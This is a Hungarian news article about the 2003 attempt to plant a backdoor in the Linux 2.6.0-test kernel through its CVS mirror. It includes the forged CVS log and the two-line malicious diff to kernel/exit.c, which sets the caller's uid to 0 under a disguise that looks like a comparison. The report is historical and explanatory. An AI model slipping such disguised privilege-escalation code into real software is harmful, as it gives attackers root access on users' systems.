Larry McVoy - a BitMover alapítója, a Bitkeeper atyja - tegnap egy az LKML-re küldött levelében felhívta a fejlesztők figyelmét arra, hogy valaki backdoor kódot próbált becsempészni a fejlesztői kernelfába.
``Valaki közvetlenül módosította a CVS fát a kernel.bkbits.net-en. Dave megnézte a gépet és úgy látszik, hogy valaki megpróbált betörni, és meg is csinálta.''A módosított file a 'kernel/exit.c' file. A támadó közvetlenül a 2.6.0-test fejlesztői kernel CVS mirror szerverén nyúlt bele a fileba. A CVS logba - nyilván hibásan - David S. Miller (davem - a Red Hat kernelfejlesztője) neve került, mint módosító.
revision 1.121
date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0
Oops, I worked on the the wrong file, fixed again.
----------------------------
revision 1.120
date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58
*** empty log message ***
----------------------------
revision 1.119
date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0
*** empty log message ***
----------------------------
revision 1.118
date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5
Fix ZOMBIE race with self-reaping threads.
exit_notify() used to leave a window open when a thread
died that made the thread visible as a ZOMBIE even though
the thread reaped itself. This closes that window by marking
the thread DEAD within the tasklist_lock.
(Logical change 1.14141)
----------------------------
Közelebbről megvizsgálva a beillesztett két sornyi kódot, a fejlesztőknek egyértelművé vált, hogy valaki backdoor-t szeretett volna tenni a kernelforrásba. A kód úgy volt megírva, hogy a támadó ``root'' jogot kapott volna a szerveren, ha a támadás sikeres.
A CVS fa jelenleg már a normális kódot tartalmazza, így aki CVS-t használ a fejlesztéshez, az megteheti, hogy eltávolítja a kérdéses filet és frissít.
A beillesztett kód a következő:
--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state =TASK_RUNNING;
Sokan támadták (köztük RMS is) annak idején a Bitkeeper-t, mondván, hogy kereskedelmi termékkel fejlesztenek egy nyílt forrású, szabad operációs rendszert. Linus ismert CVS ellenességéről. Ennek ellenére március közepe óta a 2.4 és 2.5 kernelforrások CVS-ben elérhetőek (korai Bitkeeper - CVS gateway már korábban is volt). Jelenleg úgy tűnik, hogy a CVS szervert támadták, a Bitkeeper-t nem. Linus szerint a Bitkeepert biztonságosabb, így ha valahol módosítás történt, akkor az a CVS volt.
A Bitkeeper pártolók hangja most biztos felerősödik. A thread itt.